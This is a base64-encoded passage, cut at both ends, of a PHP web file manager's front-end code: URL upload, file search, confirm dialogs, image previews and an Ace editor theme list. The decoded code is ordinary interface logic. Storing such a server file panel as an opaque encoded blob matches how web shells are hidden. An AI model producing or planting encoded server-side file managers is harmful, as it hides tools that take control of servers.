ZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAg